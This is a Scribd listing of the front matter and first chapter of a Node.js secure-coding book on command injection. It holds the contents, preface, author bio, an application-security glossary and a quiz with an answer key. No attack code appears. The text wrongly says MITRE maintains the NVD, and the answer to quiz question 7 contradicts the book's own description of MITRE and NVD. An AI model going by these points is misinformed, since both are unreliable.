0% found this document useful (0 votes)
867 views113 pages

Tal L. Node - Js Secure Coding. Defending Against Command Injection Vulnerab. 2023

Uploaded by

Moise Diarra
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
867 views113 pages

Tal L. Node - Js Secure Coding. Defending Against Command Injection Vulnerab. 2023

Uploaded by

Moise Diarra
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 113

Node.

js Secure Coding: Defending Against


Command Injection Vulnerabilities
Liran Tal

Version v1.2, 23.09.2023:


Table of Contents
Preface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
What you gain to learn . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
Software developers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
Security practitioners . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
How to read this book? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
About the Author . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
1. Introduction to Application Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
1.1. Application Security Organizations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
1.1.1. OWASP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
1.1.2. MITRE, CVEs and NVD. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
1.1.3. Snyk Advisor. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
1.2. Application Security Jargon . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
1.3. Test Your Knowledge . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
1.3.1. Answers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
2. Command Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
2.1. What is Command Injection? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
2.2. Command Injection Types. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
2.2.1. OS Command Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
2.2.2. Argument Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
2.2.3. Blind Command Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
2.3. Command Injection in CWE. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
2.4. Command Injection in Other Languages . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
2.4.1. Command Injection in C . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
2.5. Test Your Knowledge . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
2.5.1. Answers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
3. CVE-2022-25766: Command Injection in ungit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
3.1. About the Security Vulnerability. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30
3.2. Setting Up a Vulnerable Test Environment. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
3.3. Exploiting the Security Vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
3.4. Reviewing the Security Fix . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35
3.5. Lessons Learned . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
4. CVE-2022-24066: Command Injection in simple-git . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38
4.1. About the Security Vulnerability. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
4.2. Exploiting The Security Vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40
4.3. Reviewing the Security Fix . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40
4.4. Lessons Learned . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42
5. CVE-2022-24376: Command Injection in git-promise . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
5.1. About the Security Vulnerability. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45
5.2. Exploiting the Security Vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45
5.3. Reviewing the Security Fix . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46
5.4. Lessons Learned . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48
6. CVE-2018-3757: Command Injection in pdf-image . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49
6.1. About the Security Vulnerability. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51
6.2. Exploiting the Security Vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53
6.3. Reviewing the Security Fix . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54
6.4. Lessons Learned . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55
7. CVE-2019-19609: Command Injection in Strapi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56
7.1. About the Security Vulnerability. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56
7.2. Exploiting the Security Vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58
7.3. Reviewing the Security Fix . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64
7.4. Lessons Learned . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66
8. CVE-2018-25083: Command Injection in pullit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
8.1. About the Security Vulnerability. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68
8.2. Exploiting the Security Vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71
8.3. Reviewing the Security Fix . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72
8.4. Lessons Learned . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 73
9. Defending Against Command Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 74
9.1. Node.js child_process: Choosing the Right API for Secure Command Execution . . . . . . . . . . . . 75
9.1.1. Commands Passed as Strings. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75
9.1.2. Commands Executed Within a Shell . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75
9.1.3. Isolate Commands From Their Arguments. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76
9.1.4. Default to Executing Commands Outside a Shell Environment . . . . . . . . . . . . . . . . . . . . . . . . . . 77
9.1.5. Summarizing Recommendations for Hardened APIs Usage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77
9.2. Secure Command Execution Through Escaping Techniques . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 78
9.2.1. Mitigate Risks from Untrusted Command Arguments . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80
9.2.2. Validate Command Argument for Expected Schema . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81
9.2.3. Limit Command Arguments Scope with an Allow-list . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81
9.2.4. Isolate Command Arguments with the Double-Dash Separator. . . . . . . . . . . . . . . . . . . . . . . . . . 81
9.3. Proactive Prevention of Command Injection Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 82
9.4. Additional Security Controls . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83
9.4.1. Keep Dependencies Up to Date . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83
9.4.2. Static Application Security Testing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 84
9.4.3. Review A Dependency Source Code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 84
9.4.4. Be Prepared for Unpatched Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 84
10. Appendix . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85
10.1. Test Your Knowledge . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85
10.1.1. Answers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 93
10.2. Command Injection in the Wild . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 94
10.2.1. Command Injection in GitHub Actions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95
10.2.2. Command Injection in Networking & Security Appliances. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95
Exercises. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 96
10.2.3. Vulnerable sketchsvg . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97
Exercises. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97
10.2.4. Vulnerable versionn . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99
Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100
10.2.5. Vulnerable gry . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101
Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101
10.2.6. Vulnerable global-modules-path . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 102
Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103
10.2.7. Vulnerable semver-tags . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 104
Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 104
10.2.8. Vulnerable s3-uploader . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 105
Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 106
10.3. CVEs in This Book . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107
Node.js Secure Coding: Defending Against Command Injection Vulnerabilities
by Liran Tal

Copyright © 2023 Liran Tal. All rights reserved.

Revision history:

1. 2023-09-23

a. Minor styling updates.

2. 2023-05-01

a. New Appendix chapter includes self-assessment questions, reviews of closed-source and open-
source real-world command injection vulnerability implications, and CVE list.

b. Chapter 2: Argument Injection features citation of prior research.

3. 2023-04-07

a. First edition.

This book is for sale at https://www.nodejs-security.com

Preface | 1
Preface

Learn about secure coding practices with Node.js based on real-world CVE vulnerabilities in popular
open-source npm packages.

This book takes an adventure-based approach to application security learning, where you will be playing
detective who unravels the mysteries of common security vulnerabilities. Through these exercises you
will learn about secure coding practices, and how to avoid security pitfalls that software developers and
open-source maintainers get caught with.

Senior software engineers often recite how one of the most critical skills you should have as an engineer
is the ability to read code. The more you read, the easier it becomes for you to understand code and the
more context you gain. This book focuses exactly on that - reading vulnerable code, so we can learn from
it. This activity creates patterns that our brain learns to identify and that later quickly turn into red flags
that we detect and apply in our day-to-day programming and code review routines.

What you gain to learn


Designed for software developers and security professionals interested in command injection, this book
provides a comprehensive understanding of the topic. It also demonstrates its impact and concerns on
web application security.

Through insecure coding practices found in vulnerable open-source npm packages, this book examines
the security aspects affecting JavaScript and Node.js applications. Developers of other languages such as
Python will find references to insecure code and best practices relatively easy to transfer to other server-
side languages and software ecosystems.

By completing this book you stand to gain:

• A high level of security expertise on the topic of command injection vulnerabilities.

• An understanding of application security jargon and conventions associated with security


vulnerabilities management and severity classification.

• How real-world software libraries were found to be vulnerable and their methods of fixing security
issues.

• Adopting a security-first mindset to recognize patterns of insecure code.

• Secure coding best practices to avoid command injection security vulnerabilities.

2 | Preface
• Proficiency in performing secure code reviews as they apply to concerns and the scope of command
injection security vulnerabilities.

Software developers

Software developers who build web applications, and specifically those who practice server-side
JavaScript development on-top of the Node.js runtime will greatly benefit from the secure coding
practices learned in this book.

As a software developer, you will engage in step-by-step code review of real-world popular libraries and
their vulnerable code, through which you will investigate how security vulnerabilities manifest and
understand the core reasons that lead to a security risk.

By reviewing code used in real-world software libraries, you will learn to recognize patterns of insecure
code. In addition, you will learn secure coding best practices for working with system processes.

Security practitioners

Security professionals who wish to learn and investigate the source of insecure code and security
implications concerned with vulnerable open-source and third-party libraries that make up an
application’s software composition analysis (SCA).

How to read this book?


This book primarily focuses on the following knowledge-base sections:

• Introduction to application security

• A primer on command injection

• Chapters that review security vulnerabilities in-depth

If you have a high level of familiarity and understanding of application security concepts such as OWASP,
NVD, and other security jargon then you can skip the Introduction to application security concepts.

For readers who have an in-depth understanding of command injection vulnerabilities, such as those
who have prior experience fixing them as a developer, or disclosing a command injection vulnerability
through a bug bounty program, you can skip the command injection primer. Keep in mind, the
command injection introduction chapter provides an elaborate foundation of different types and other
insightful security considerations. It can still be effective educational content even for experienced

Preface | 3
practitioners.

At the core of this book is a deep-dive into real-world security vulnerabilities reviews. Each vulnerability
that we review is assigned a security identifier, such as a CVE, and has impacted real-world npm
packages, some of which you might even be using.

4 | Preface
About the Author

Liran Tal is an accomplished software developer, respected security researcher, and prominent advocate
for open-source software in the JavaScript community. He has earned recognition as a GitHub Star, in
part for his tireless efforts to educate developers and for his contributions to developing essential
security tools and resources that help JavaScript and Node.js developers create more secure
applications.

His leadership in open-source security extends to meaningful contributions to OWASP projects,


recording supply chain security incidents at the CNCF, and various OpenSSF initiatives. His contributions
to the Node.js community have been widely recognized, including being honored with the OpenJS
Foundation’s Pathfinder for Security award for his significant contributions to advance the state of
Node.js security. In his role as a security analyst in the Node.js Foundation’s Security Working Group,
Liran reviewed hundreds of vulnerability reports for npm packages and created processes for
responsible security disclosures and vulnerability triage.

Liran is also an accomplished security researcher and has disclosed security vulnerabilities in various
open-source software projects, including being credited with CVEs impacting npm packages. His work on
supply chain security research, including Lockfile Injection, was presented at Black Hat Europe 2021
cybersecurity conference.

As an experienced author and educator, Liran has written several widely respected books on software
security. These include "Serverless Security" published by O’Reilly, as well as the self-published titles
"Essential Node.js Security" and "Web Security: Learning HTTP Security Headers". He is passionate about
sharing his knowledge and occasionally speaks on software security topics at academic institutions, such
as presenting to students at the Electrical and Computer Engineering School at Purdue University.

Since joining Snyk, Liran has made a significant impact as a developer advocate, empowering developers
with the knowledge and tools needed to build and deploy secure software at scale. His contributions to
the developer community have been instrumental in advancing the state of application security and
strengthening the adoption of secure coding practices.

About the Author | 5


Chapter 1

Introduction to Application Security

It’s necessary for software developers to understand the terminology used by security professionals,
become aware of their standards and comprehend the role they play in application security. Doing so
can assist in assimilating information on secure coding, which is a fundamental component of IT security.

Learnings

By the end of this chapter, you should be able to answer questions such as:

• What is a CVE and how is a CWE related to it?

• What is the OWASP Top 10?

• What is NVD?

• What is a source-to-sink?

• What is an attack vector?

6 | Chapter 1. Introduction to Application Security


1.1. Application Security Organizations
The following bodies of work are actively referenced and used as application security resources. They
provide security tools, frameworks, documentation, libraries, working groups, events, industry-accepted
standards, and maintain a security vulnerability database.

1.1.1. OWASP

The Open Web Application Security Project (OWASP) is a non-profit organization that aims to improve
the quality of software on the internet through active work to make it more secure. The OWASP
Foundation provides resources to help security professionals and developers create secure software.
This extends to guides, tools, and documentation; developers should be aware of the Open Web
Application Security Project (OWASP), as it is a widely recognized and respected source of information on
software security.

In addition to the OWASP Top 10, developers should also be aware of other OWASP resources, such as
the OWASP Application Security Verification Standard (ASVS) and the OWASP Secure Coding Practices
Quick Reference Guide. These resources provide detailed guidance on how to write secure code and
adhere to secure coding practices.

It is essential for software developers to familiarize themselves with OWASP and make use of its
resources to develop secure applications. This will ensure that any potential vulnerabilities are
eliminated and organizations or people can be spared from expensive security breaches.

Some notable examples of OWASP-related security resources for Node.js developers:

• OWASP Top 10 - known commonly as a security weaknesses awareness document, the OWASP Top
10 is a list of the most common and most critical web application security risks. It however doesn’t
aim to provide an exhaustive list or claim that one weakness is more dangerous than another. The
list is curated by OWASP Foundation members and other guests who are invited to share their
expertise. It is reviewed every few years to make updates to the list. It provides an ideal starting
point for developers to understand the types of vulnerabilities they should be aware of and work to
prevent in their software.

• OWASP NodeGoat and OWASP Juice Shop - these are both open-source projects that present a
security-focused learning platform for JavaScript and Node.js developers. You can clone them on
GitHub and experience real-world misconfigurations and security issues. At the time of writing this
book, they’re known to cover all of OWASP’s Top 10 vulnerabilities for developers to learn about and
exploit in a controlled environment.

• OWASP Cheat Sheet Series - the OWASP Cheat Sheet Series provides comprehensive security advice
for a wide range of languages, platforms, and development practices. In general, it provides
guidance on secure coding practices for JavaScript and Node.js developers, such as NPM Security
best practices, the Node.js Docker Cheat Sheet, and others.

Chapter 1. Introduction to Application Security | 7


FUN FACT

The author of this book has contributed to the OWASP Cheat Sheet Series. This includes the

Node.js Docker Cheat Sheet and the NPM Security Cheat Sheet which have been widely
referenced and recognized by the Node.js community.

1.1.2. MITRE, CVEs and NVD

MITRE is a non-profit organization that operates research and development centers sponsored by the US
government. One of MITRE’s many areas of focus is cybersecurity and the development of application
security frameworks, such as MITRE ATT&CK. In addition, MITRE provides other cybersecurity resources
and tools to help organizations and individuals improve their cyber defenses.

One of MITRE’s most known contributions to the security industry is the establishment and maintenance
of the Common Vulnerabilities and Exposures system, commonly referred to as CVE. This system tracks
and maintains security vulnerabilities and assigns each of them an ID, referred to as a CVE ID, or for
short, a CVE. It then categorizes them into specific classifications such as CWE-78: Improper
Neutralization of Special Elements used in an OS Command ('OS Command Injection'). This classification
system is known as Common Weakness Enumeration (CWE).

MITRE maintains its list of open and public security vulnerabilities database through the National
Vulnerability Database, known commonly by its acronym: NVD. As such, NVD is a website that provides
access to the CVE database, which is a list of all publicly known security vulnerabilities and their
associated CVE IDs.

8 | Chapter 1. Introduction to Application Security


Figure 1. CVE-2022-25878 on the cve.org website

Useful resources:

• MITRE CVE - this is the home for the overall management of CVEs, providing access to CVE artifacts, a
searchable list, the issuing of CVEs as well as modifications to existing CVEs. It also lists current
working groups and other resources such as Common Numbering Authorities, known as CNAs. A
CNA is an organization that has been approved and authorized by MITRE to handle disclosures of
security vulnerabilities and issue CVE IDs

As a maintainer of open-source npm packages, you may find yourself handling CVE reports
pertaining to your project. The MITRE CVE website is the address to submit revocation

requests or other modifications to be made to a CVE report that was issued to a project you
are maintaining or contributing to.

• NVD - MITRE’s CVE database is made publicly available for consumption through NVD, the National
Vulnerability Database. In NVD, each vulnerability is well described with metadata, accompanying
resources, a severity score, and the product or vendor information it is associated with in terms of
impact.

1.1.3. Snyk Advisor

Typically, developers integrate and use third-party open-source libraries to build applications. With the
peak adoption of open-source software these days, reliance on community-powered open-source
software extends to more than just security risks with libraries.

Chapter 1. Introduction to Application Security | 9


Developers may often perform due diligence and compare projects in order to vet their sustainability. As
such, they may be concerned about issues such as:

• Is the library facing maintenance issues?

• Has the library’s popularity been on the decline?

• How many active maintainers and contributors are working on the project?

The Snyk Advisor is a free web tool to help gauge a package’s health status and curate a project’s
sustainability and security criteria into a holistic comparable health score. This helps developers and
engineers make better decisions about open-source projects based on current factual data.

Figure 2. Snyk Advisor package health score for the remark package

Another source of package health information is deps.dev which is a free web resource tool made
available by Google and provides open access to the data through BigQuery Public Dataset. The
following capabilities are powerful features to investigate dependencies beyond package health:

• A complete list of dependencies and dependent packages

10 | Chapter 1. Introduction to Application Security


• Visual diff to compare across published package versions

• Versions are annotated with information about a list of dependents

• License information includes the entire dependency list

• OpenSSF scorecard details

Figure 3. The lockfile-lint npm package OpenSSF scorecard details from deps.dev

1.2. Application Security Jargon


The following is a list of technical security terms and acronyms commonly used in security conversations,
documentation and vulnerability communication. These are widely used throughout the book and
defined here for reference.

Injection
A data payload provided to an application to deviate from its original execution intent. This is done by
composing data in a specific way.

Security controls
a mechanism to protect data, applications, and systems from unwanted and unintended behavior
such as unauthorized access, modification, or destruction. In relation to software and code, security
controls are often implemented as a set of rules, algorithms, and practices. These controls are used
to protect the application and its users from potential harm. For example, escaping user input is a
security control used to prevent command injection attacks.

Chapter 1. Introduction to Application Security | 11


Responsible disclosure
Security responsible disclosure refers to the process of disclosing sensitive information about a
security vulnerability found in a library, a product, or a flaw in a computer system. The goal of
responsible security disclosure is to alert the appropriate parties to the vulnerability. This will enable
them to triage, communicate with maintainers and collaborate to fix the issue. This will protect their
systems and users from potential harm.

OWASP Top 10
A widely recognized and industry-accepted document that provides a concise, high-level summary of
the top 10 most common weaknesses when it comes to web security.

Source to sink
Source to sink is a term used to describe the process of data flow within a program from where user
input originates (the source), to where it is used in some form (the sink). In order to ensure the
security of an application or the integrity of a system, it is common to implement security controls at
the source. This includes input validation or input sanitization. Security controls can, and should, be
employed at the sink. Some examples are output encoding and parametrized queries.

CVE
A Common Vulnerabilities and Exposures is an identifier assigned to a publicly disclosed security
vulnerability. It provides a common reference for identifying and tracking vulnerabilities. It is
recognized as a standard for identifying vulnerabilities across the industry. As a developer, you can
think of CVE IDs as backlog ticket IDs for security vulnerabilities.

CVSS
Common Vulnerability Scoring System is a standardized method for assessing the severity of security
vulnerabilities. It is commonly used in conjunction with CVEs to provide a quantitative measure of the
potential impact of a vulnerability. CVSS assigns a score to a vulnerability based on a number of
factors. These factors include the impact on the confidentiality, integrity, and availability of the
affected program or underlying system. The vulnerability is also evaluated based on its ease of
exploitation and likelihood of being exploited. The resulting score is a value between 0 and 10, with
higher scores indicating more severe vulnerability.

CWE
Common Weakness Enumeration is a standardized classification of common software weaknesses
that can lead to security vulnerabilities. It was developed by MITRE as a way to establish a common
software vulnerability categorization. Additionally, it provides the basis for tools and services that can
assist organizations in identifying and addressing these vulnerabilities. A CWE is also structured
hierarchically and contains metadata about vulnerability classes, mitigation and prevention.

Vulnerability
A security vulnerability is a weakness in a computer program or a computer system that can be
exploited by a malicious party to gain unauthorized access to sensitive data or to disrupt the normal

12 | Chapter 1. Introduction to Application Security


functioning of the system. Security vulnerabilities can take many forms, including design weaknesses
or computational logic flaws in applications and systems. These vulnerabilities when exploited lead to
adverse consequences.

Exploit
An exploit is a technique, method or program code that is developed and used to take advantage of a
vulnerability in a computer system or a software application. Exploits are then executed in order to
gain advantage of a vulnerable system.

Attack vector
An attack vector is a path or means by which an attacker can gain access to a computer system or
software application to exploit a vulnerability. Attack vectors can take many forms, such as
manipulating input data in a way that causes the system to behave unintentionally. In addition, they
can use social engineering techniques to trick users into divulging sensitive information or access
credentials.

Payload
A payload is commonly used in exploits and is part of an attack that is delivered to a target system or
application that may perform malicious actions.

Attack surface
refers to all available interfaces and components accessible to an attacker and can potentially be
exploited to perform malicious actions on a system.

OS Command injection
A software security vulnerability that allows attackers to execute arbitrary system commands in the
context of an operating system (OS). These vulnerabilities apply to web applications but extend to
other technologies such as connected end-point devices, routers, and printers.

Argument injection
A type of command injection vulnerability that manifests in the form of an attacker’s ability to modify
or abuse the command-line arguments of a given command, even if they cannot modify the
command itself.

Blind command injection


A type of attack that employs fuzzing and randomly generated payloads intended to exploit
command injection vulnerabilities with a special payload that triggers "phone home" behavior to
allow positive confirmation of a vulnerable application.

Chapter 1. Introduction to Application Security | 13


1.3. Test Your Knowledge
In this section, you can check your understanding of the concepts and best practices presented in this
chapter through multiple-choice questions. Answer them to the best of your ability, and check your
answers at the end of the section.

Select the correct answer (some questions may have multiple correct answers):

1. What does OWASP stand for?

a. Open Web Application Security Project

b. Open Worldwide Application Security Program

c. Online Web Application Scanning Platform

d. Organization of Web Application Security Professionals

2. What is the purpose of OWASP?

a. To promote open source software

b. To create a community of software developers

c. To improve the security of software

d. To improve website design

3. What is the OWASP Top 10?

a. A list of the most critical web application security risks

b. A list of the top ten programming languages

c. A list of the top ten web development frameworks

d. A list of the top ten web hosting providers

4. What is injection?

a. A type of input validation technique

b. A type of encryption algorithm

c. A type of attack where untrusted data is sent to an interpreter as part of a command or query

d. A type of cross-site scripting attack

5. What is source-to-sink in software development?

a. The process of compiling source code into machine code

b. The process of running a program and observing its output

c. The flow of data within a program from user input to where it is used

d. The process of debugging and fixing errors in code

6. What is the difference between a CVSS and a CVE?

14 | Chapter 1. Introduction to Application Security


a. CVSS is a scoring system used to assess the severity of a vulnerability, while CVE is a database of
known vulnerabilities

b. CVE is a scoring system used to assess the severity of a vulnerability, while CVSS is a database of
known vulnerabilities

c. Both CVSS and CVE are databases of known vulnerabilities, but CVE focuses on the impact of the
vulnerability, while CVSS focuses on its severity

d. Both CVSS and CVE are scoring systems used to assess the severity of a vulnerability, but CVSS is
more widely used in industry

7. What is the difference between MITRE and NVD?

a. MITRE is a government organization that focuses on cyber security research, while NVD is a
database of known vulnerabilities

b. NVD is a government organization that focuses on cyber security research, while MITRE is a
database of known vulnerabilities

c. Both MITRE and NVD are databases of known vulnerabilities, but MITRE focuses on the impact of
the vulnerability, while NVD focuses on its severity

d. Both MITRE and NVD are organizations that focus on cyber security research, but MITRE is more
widely known in the industry.

Chapter 1. Introduction to Application Security | 15


1.3.1. Answers

The correct answers are as follows:

1. a)

2. c)

3. a)

4. c)

5. c)

6. a)

7. b)

16 | Chapter 1. Introduction to Application Security


Chapter 2

Command Injection

